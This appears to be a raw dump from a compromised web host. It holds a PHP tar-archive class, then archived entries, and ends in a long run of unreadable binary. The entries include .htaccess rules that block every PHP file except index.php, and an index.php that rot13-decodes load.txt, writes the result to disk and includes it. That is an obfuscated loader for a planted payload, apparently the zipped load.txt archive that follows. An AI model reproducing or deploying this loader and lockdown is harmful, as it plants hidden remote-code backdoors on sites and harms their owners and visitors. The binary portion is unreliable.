	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>.htaccess000064400000000334150425251240006342 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>index.php.tar000064400000003000150425251240007142 0ustar00home/depancom/www/albums/elen/index.php000064400000000000150425250750014127 0ustar00index.php000064400000000160150425251240006361 0ustar00<?php
$kk = file_get_contents("load.txt");
$kk = str_rot13($kk);
file_put_contents('load', $kk);
include "load";931753/.htaccess000064400000000334150432665020007120 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>931753/931753.zip000064400001634776150432665020006651 0ustar00PK���Z�
�MfMfload.txt.txt.tar.gznu�[�����ks#I���l��Ylvh�H�d�5�$��*�2���3$�=e6+�Jg�w&�Nf�ݝN:��k%�jG��ٿP��K.<"�$HV�̮t��.�����������`6ؾ0���l�n6�����&��&�x4�Nf\߿ڮ��O�	��X$�E�@����p,�D���Dc!&�����r�)�ɿ���;�Qxn0����2Tg���v��H��p$!�B�#q�>��M$����]@���ɠϨ�LJ�pH��g,k�,|~��^��߾�{_�~����0MUS����+E`��_�e�gQ>�"%/Uq9�A��MY	�Nę5�[��� K*�1��W��Y��K�|-s+s k����䁴�uJ�^1�N�$���4p�;��ʡ��b���N{�(�xa����J��VU�8y������(}!O�'[(;@Ź��$��-��H��r��TR��v#e����9�XKRO���~`G����5u�H�9���*U�E���i9�4�F�pz��K�� |�t$4D�"7j��Q�pm�_A໼�P�ʩ���ṖSN�yNR8TR}U�i��4YR�,"̥���Zk�t�H�@�9h��ѓ��hP�֌�ִɒ��JS,5`|�F�ܳ���@ot�I���X�4	�J<��d�EE�k��Q+O��)>�>f�-x#(�}�ͥ�%�'���>�d4�8�pߓ����<��QT,D��֊ֳ�k�}�<��[K;ͷ}�+��q����o��ľ�ɢ:�!&�>y.���p��u�&��$)���H&EN�$�[��cW?�5���O4d(Oʸ�����\"V������2]F�g�0���gP��{"�nT� �p�G��iB��ݧo�z%_�Vr���p��2��GJ�̉�e��0}�T]������>�����?~������2���F�#�C�g����HkUd��F�&�}"�����@������"���>�����g>����?��;��?��;�5��/��_���������?����7(�o>�}t��ӏ���O>�A���ߡ6^�����!�e~��Q���פ�Z"���!���_#ȿC�\'��O?�G�W��_�b�U�'�K �_�&P��@i5��+��ߨ��?�9���4A�~�?0�+D�� ����]�#`����l���h�ߡ�	���48�A�G� 
�4IY(�CHM~�2�(��̟C�8e"���"$��2�`�oP�?��u�x��Ŀ�R��YX�����,~�iH��~���c��0���M���Tk 1M��K�7x����@rZ ��B�[i��&c���	����!���s���_c�0����A��~�&�o0*֕*�;�W�ʏ���0t��̪W!r�4����@
�11S/7�-������(]�?�����b�1�(��&�B<�=KP�9&ҿ#m���P�_Y��R8�j$�J��I/��K4�_#��	�Rdj�%�a��;E^����̀3��1�]��A��GX����@*Ul>����B �#�xT�
F�?R����[Ŕz�Ɂ��)�P��.L�_�A��f�K)#R��'a�e�c��1��|<��|�`�Ҩ����}���_��%$*qU̟���3�!�DYS���eO��B:�k*Mm���)�9���;a�Bm,��e�����R���!�+���y��,:�`@ELf2~�֑b9[;�èA�
�WN�Bq�r��#�B[?���E�e�
3);E���A��ˬ��C�2�1;u��l7�:�3^��<��)���r�E{^�Q̭���A
^�((���ᗤ5^[�eF����=�+<KeL<p9����@/�=���_��V�f;2�aԧ�N��,�%�_�rI��j�M(	�?G4�k��0)l��d,�-�_�im����aH��2�,��@!���M���^A��>��Z�D�G�2�r�Wx\���ĐF��O�h�ʭ��׀�uZ2��07���7�j��H�^�a��F�v�
Bkn�)~�N���LRD�Ea[�g��\�_(n��1;���!���\�4��~d��P6#��ʂ O�.�s�\��Z(��R@�[�ۓ�5���I��S��)4r��.Hw}�0��RX4��v�]��~X�X���B<3G����Ţ_8�����!�y��+�
��Y�Ho�6;y2���^�-(Fh7�F���N���6�oO=�w�g�Xʚ���(�K��XչX��r�RF�I��AQD�K�%��rP*�T���Ġ?rI�ݦ�R�*���͡a�[|��߻���#���H����xV�`����n�a�m@�
y��N���N����I�皼`����r�9�l�^�qa�	9�o�����c�e)��a��
���rіij���R����,����-Ќ���T�tUIBK4�N*h��K�t!�����ĵC�Փ�^���k̷>29e�Rt/���N9"Z���`8O*�H꒖�2�m,^��?�g����r
P�n���Д:��{ۤM,~�V�ЮۑQu%Y�Vv-
#Mm�qKs��3�Y�� Uh��em͋����̂<o�3��IA+��������'{xPz�ܒw�k�=q��>�3�#>��d�Q��+�\�n}���ӝv��0�`�aZw`�;`gEA��"�*k����էM�XhuaN���&
+�����P&��n#-_��}Y��j�N�"��=�D(�ؐ%p���Q�OtQ�K���w���$f&�#D[Gݶ��7�H��b#��u���<Uj��M��[I�
�VD*�0h:�~����u*�4��2>L�ZZ�H�٠�N������ed�!)H̑��"8\F�Kk�Ct&��h���3A���Q����|R�d�ےϟ�7�B�>1:�a�1�	|a���8D�b$��4E�|ǘE/�2���T8��bS8,vKC݀q��߻T�,��2�C��z�:�	O�Z�E��$�� ��+UZf �h>�'�u���c �H��dm3Y�%�u!���'�����Std<�԰��?�8e��"Py�Ey�����OD��SSO]�>�w߄��q0���F;�e�C.�z*��Z�QG�ڵt�Af���r5w���S��m<=�bdׁJ�e��Zi�T�o,��� ~|��q}��é��;χ��>�.�GM�߸�"�VZ��eЩ���A��
��n'g�0���.��߅6?>�3�>�7&Fo�@�>�n�x�t����vY�o.
��	Y,��6C��i����`��H����$����SJ�>��P���{�9��	��Oa�Z*~�ՒfCo��\� �h��']���%}A��XS�<������PqA-�x��h�t6��:X�«��5Bэi��M�@_�E� �;fZI~�v6����B
�!�c.sf�T�� �e!�J �MghMј7h��wAk�7�e��t�=م��Q4kK6q�q�vfl��Z�NS�����,ƣ�p�l%��M^��b��ש�e2�H�0�li�4>��%�x��b�i���<�Օ񑐌es�|�HD��D�����*&���d7�5u�v0��P{`����*��&vP�ρ���b6PU��o��̑2i8{`����;��s�B&��
XM_Ŝ1�?4h
ڀ6��4�S{�X�
�(\�?��E�(�f�:���J
-���
�@Px��:.�Ԟ�,|zP6� eG�)��(ߞ��͉���x����rz;��MK��gZ
}Ao�_Л@©7���&r�7���-�k5��B_Л�SoBQ�����ޠR�Z-^RQj�h�GʵD�(Ҁ�M�X�H���� Y����^�M����+*|��#�B��!H��`%�%�H6��h	��0S����r�~v����~B�#��.��W;�_8����G�	{�c���		Z[�i�������#`(kn���IxGl�r�e� ��]�@)04� �M34^�H5�Q�[��F��y�U:^V3(�i�ۮM�>�:��M謋@\Jڈ
��m�3y�6,bT�c�j�\���m+cU�D�'kܪ����y]{��B��,I�;�~��W��o`q�/6����0󓞂��zh��.��;W�~�R}��z<Z�s4�y��Z/�SW����1�0g��p�;e�8��*�JZ_0@<x�e��	�/�,���v{�Aq���sI�$E�0h+��w?ݙ��^�=����1��މ�u�Y*<�z�=s�DܟP`����E���u���QG�J�
H�B{n�f"фIחs���P��PW�$�6�0�@�I����:�T���r�,
ċ��K�֚>��G@�� l�%���ּ7���u��x�
OMc�B=ݖ@᫽�D�ݵy{�"���c6��%��Z�{[�I�Y7��<~�w�L�]vf�y���_�50�^�������9݅���[z-�X7sy��ۯ�!P�;D4��~�2�u�
�G�|^��`��e���)�&�
�#�\�=�7WW��p.u�_��1��Y+�IT�/��a�Gk�_ߏb|�W<-٤2���r6�6�ZYo���q���h	 ]۶VV��>�U�(��Ke�ÛU����3��u�?q����d�X�9�(m�����G_�I#�߇u�f��
n���זᇌ���>���zC�7�5p�X�>�Ɓ�:D�&@!Ce1��c����cf��kh���&	C��A��	�-�Y�N�DI0�����A�:��#��n�1����](J���p1�US7��`B�-C�,FPH�Y��v<��񁉞I��Ov㍅}��}9Y�/1J�
1O�4'Ք�nV��;���3L�3I��Du��5��΀IIJ�∤.��;�EI����~+3kAY^��C�5�w]����n�&��S���X�	%]�Ϥɷ�|�r��&�u�c��}���N��DE��@w���<��8�:�?��	(��+�[���e���n����:��s鮖�Ԓ�uM
�e	�k��X�dۘ���و��A�x��:M���-.AtW�%O��"����)Rx�SF�`�NO�Q�o	��m�Bg03�~�.<<G`_�.��tf?�+���4����/b�+�甁�N��p�fzp�L�]�n��I=l�&���b��Bه�P^����^��O�^����/�W�'>�/�l����o����%U�緰�١t:���zy��$,�~0��H$�A:�X�.ǭto�Cۍ=t��c�8��p"�v����2�HM��	{��eV��=jkg4I�(�X�Ekf?��!���i�)2�~��=�B�8� ���ƞ�A�484nۉ�y�Ą�)#f7AUT�q�ş㣏��1\9�L_�üŌ��"�t��
Z�"L��I��:�'�i�ĸ�k���5�LhNW��A;�*�G����Vn"��,�L���i���9���oZ�ʮW?�-���B֑���mG�B��&�]���RAz�l~n)ogb���q�I�?^��ڗ{*��p1��,��U<�\��u(k&=k<9�w�ὼM�w�E�h0�{�&�k8#ø`��s/-��U���_Pt�LJ�M�E��$!���`�#&T��bv�I������N/����RU�h��9!ʊ��e_��p�C�#m���r��e��9
3JrSPڞ� �MQ����6�D����$a7�{as���A�F�32~W����(P��G� �t��m���L3�~d@��Ÿ�mm!�T0�2����h ���
!'�n2��v.�c�'���Q���QȑҎCU�6*�m�y�lm�$,C,,J�+���g*B%pɠ�o ���mE��C�j�r�l�i��i]�b�[h��.�t�js�l��� DN�������iLSuC�����\C���X<�,���~���bsiR[�S�%��u�m��yp�Ϭ�退�"�R��������o*�|���B���H��X|�2ߨ�)q@��,VD1���ɯ�M��ě�.i؜�ځ��t�;_<ݟ��:��#��'G�gh�������y�4Z��O7-�"��gI���0�]<W����	J�<;���oz��2���.�Q�+�J��R��H>��X["p��{[���;R��0@���U��y	�S���Ɓ�C����ݥۭ����Ԣ��7]���xWN�d裱����1�H��$�㲠�6�*!5�~�T��>�p?�+'��<�+�dY�ą������	�o��ظ��}$|������h.��>�
x���Z{��ޙ&�>�"�����
[f6A"M%`)��4��F`���d����;
�2�ú���e���-_���.�
���c��9�5�K���Zv5�^3O�Jv��9���髞�;�Z�N�g&f�=��I��+����aX��h��%��6lŖ�"er&�`��HL
u�z2���w�p�4���~�;T��Nf�pji���S�������H>�	�?��{�s�[ ��`B���րl���np�1�5^�`fh���
�qp�1���a!sH��}̽�
I�X���}	5ghW��A�Y�c=�f
�C�p
�"�����P�j�h̭{h��γ-�  ��U������\��PAs��5S��	l�[]�����j:;
tZ+��~R�ºQX�OU�Z��*���f�y�Pm-��B�R����ˠ�U6�of��2���7<�~�| 4��Q,��6�p(����zE�K��$����>��~�7gZ8����1��﫡�J�nV(k�
r��V���4�6�8p����J�(��H^�Ȉ��Plp���J�XAO��dQ�V�-��E�~Y����+5T\yo6�A��uw�Y)Y`�fٕj^)�	o�;6�6%>X(���ƊJ-�i삡��AhW�������:��U�-7P���E-ޮ��2_�Ï�1.���hqyX��wE^Lp���L��X����q��oF�❔H�2�Q��n��<���Yh���A�#�j��ܮ�7%Aˏ���!����i�?�W{A���v}u+���|��$P��d�XD�߲�w�]�$!�/�=9�Y�>,��ފMTE6.ݲ������.�حr�~w�*>��հ�Xj�A��nP'�P���n��	6��n{�P-�
�y��X	NF�����^�.�Ty�tR�~'�M�nc�rÉ��4$q�4��ϼ�a9[Bx���@p�x1�uƛA�E��ut����]d����[6�oF��$ �z�|$��)�K-����
��X9���q<��F�zC��2K`��8P�F��~*��bsր^��bi�L
�\6\�{�*��vz��
M*�.�®�.�k��m!B��)f�B(U�dJ%��6�diZ/m��V9;~T5Uz��!�(�L���fB��H�J�]?_��kWA��ʱ�ԣ��&�d��ͬW��O�3û�}���:�l,�7��4��W2�|a��Wr�)��S�"�]��PV���,V�f��R�.��f�ĸ�m��n}��
��F��A>���͑b��R��X7 �{w��&��C��maX�ʽ�8z\��:���h���i�'\A�LJ�~����Hh=�Dk՛�4�Ԅ�7[��JX|V��hC�>�V��+�rb�hפ�x��A�;��J�4_+����099�w����z+	�o�3GY��A�^�%ˏ���3��N`�pc��fV#��n�b[���R�#���0�`���)�wp��S�KVZ�abFks�V�g
��9�����������	�ģu�m�4�7�l׫r�{��uY�8@'�u]>+Go�b��ћ0��G�>ݤ����<����4���S3���d��M6�O;��Tw7r�?�D�vh�G[�'�W���.#�q���r����}v`�����3�5z�����p��h�r؛�PA>���Z�*�{g�x�m`g?z�m���ǡ�oŞ��3�8���n�N�Y({}|<��o�=#1Lێ�=z5M7��2n��֨����a�a����x�pu��S�v��O�PDV�_](�(�~�����3�z=E ��V	�)
,E�J����p�I9�=�T�b�q��l���v}'�z�.��;�ϸ�"��3ȼ���j�߻P"�;���Y�x�H��h���{5���Z�34"���,|s���eJ݅;e|!�Օ��o�å���Ҷى�^&z�A�U�q�p|�r$��e0C/��LU:T��58�Ɉ�3B+�" �M3��m�H��D?e3/�AH"�KVoP낊f
E�q�2��	�5Z"�x���|@[z̴�Q�;T����
\qi�,:����tF�R���9�T�~A�&��/Hԥ��2	%��k�o��$�ܨ
?1V~·.��P�i�cOr�f�g?��HB�v\��L���w��H��!��L;��d[���lh�C*�q�9��*�(��E�a�xExNM�-&N 1(�ɠ��*F��\pG�Nu`z}�P`�j�k�Vi�5c�.����-�4'�z6�$�oj,s�"�pR
���\5���fo�F_���ku�8�$l��L�5�Z
�NC��+fcU0G�����8jzM����{=�֬��X(��}!��`������d!R�9��$�e%xc3��wY�0	e��cL�vl\�9�����,q0����nk��6��ۊCL2�1vm����3�Y���z�^����^�RJ�L�������,n�K�˘̅Q�łm^�_όoe�xvxY}�;�*�x�P���U���ŭ��:�����`fg�V�a��(�eMab��'���F#���+��J�[�	�Ӄ:k�l��S�_��z����v��C�a�0���S������>G��=�z�0u$���%+�z+SP�?Ǒ���p��!Hop����"Vj�Z��`�;�c �d{��:�-V�3�|r�rH�K�|�|4���slK�O0`��"W��-b+0�=��]��i�v�Lj@�ܞc	)f�Po�wu���A�P�����)Ęo/2��K���:D>�Ia�N�@EN��zu����������e޼	�����o�.��.@�s��_$�/Z�e��*^���y�a���
Ue�]���W�#u!��
�<�_� P��v��\֔� ���(���%|�B8���ʂ����9aGuL��`]���t-��d��a�Qo�/PH�wGh//�8J4YB�ҫ�6��|���n3L�Y�@,L�ϸ���q���dN;�+�"ob�~i~�&d���ӯEv��J=],�hӤHcp>�m:��kXz�3=N����bc����ߩ�_�3F�>����Y)d����N�8��*��6'�m� ��%u�Ť;,�\-���w~�v�.��NM�$�)�u�kj���1�EK��5��~!�j�aK�̒8�a��8�p���-���MZ����e#��0Q�t�qcm+����4�}mG�������}�-Z"���Zc��k]��5m֧��qz�p&�E��@f�n�'��߷�0���t�Z�kI�=�������ބ$�9����r��0�����Xz����
*b
,�<r�J�"����z�?�3m]];�>ۙ}B4-h�Jt�]6#�ѧ�&�^�b�c_.��}!��	b����Ҙ���K��K��_����M��i���0%���9(zcYC�N]%�Ya-���KW�1T3�	��#�"C�1�',�j��>&t�p��1᫛���ݢ���M��cbW����9�/�j�t�Z�K��[��쐞��)+�����㜲cz�l׳g�`��%��E�4�H8��DP4	�rh�1�.Xw��ҝթ��h��2KY|γ6�:0
2���H�z��x�;��{D�Z�`�:af����	,LMm ��bz���8�?v2�t����Wx��P�����HP ��P��b���E0��V�V8ڗ���Ǣ�uK<3�%���o��2��3�o}�̖Jb�d��9�\$�%
��!yP���\0?�sG� �Nf~��N�f�5�;sخ1 )�h�O� ��tu�4C{���uA����~h�
�%T�z�@��'`�?��������0�Ɔ�ʼn�z���9x0����؂�TxI�V�v�7h��ŕV#�G�Lr��`�M]/�n����m7]������x�|.�}B��v�N=�����4���7*uT�y�\��ld��+�m��T>[I�P%��r
�U��jZ��KFz˚Ulw�\߸Ea�z�)��y��;�����{N�����*A���B��ƕ�>�COsY�`�B[��|e�Vw��5�v}��V7�:]{��P΂.��-'���ӯ��Nϲȡ����AS��
����Jl4��t�Ny�2TBK�X���վ���ywm1V���Pm��\H�K�����p��w�6�89y��\
?܉��D�p�Ĝ�A�I��� _��d�P�OC,i�G��G�X2y�/p���"P��g�7�5�Śu�X��u��
,��_Zc,U��J8�|�9�E0��z��{eE��/׳��������y��o*�j��cl&-��~9�)�_�[*as��5�
�V�[��
�(�u�A}п֯�@q��:��tH3�ĵ�q^0h6�3�#�
��?k�б��F#܈[���
���Q-��>�� �a��c�z�J�k��>.��Vv�\�Pł@Z\,UA���kU[�@
㲤i�-��)�$�W�*BN�}�/�7�20�9h&�~{�~��ca&���X��h+,$#�,.�k?D��h��O�E�@���Zv�_&��.��CZ=�f�V20��Y���R��}u2�{�V�R���\1��7��&��\D�h
iXX���CM�T
�\���l39~�T�m�0od��B��PWj%����f�!��|'TYn�r'���۪(�#w����I�,�
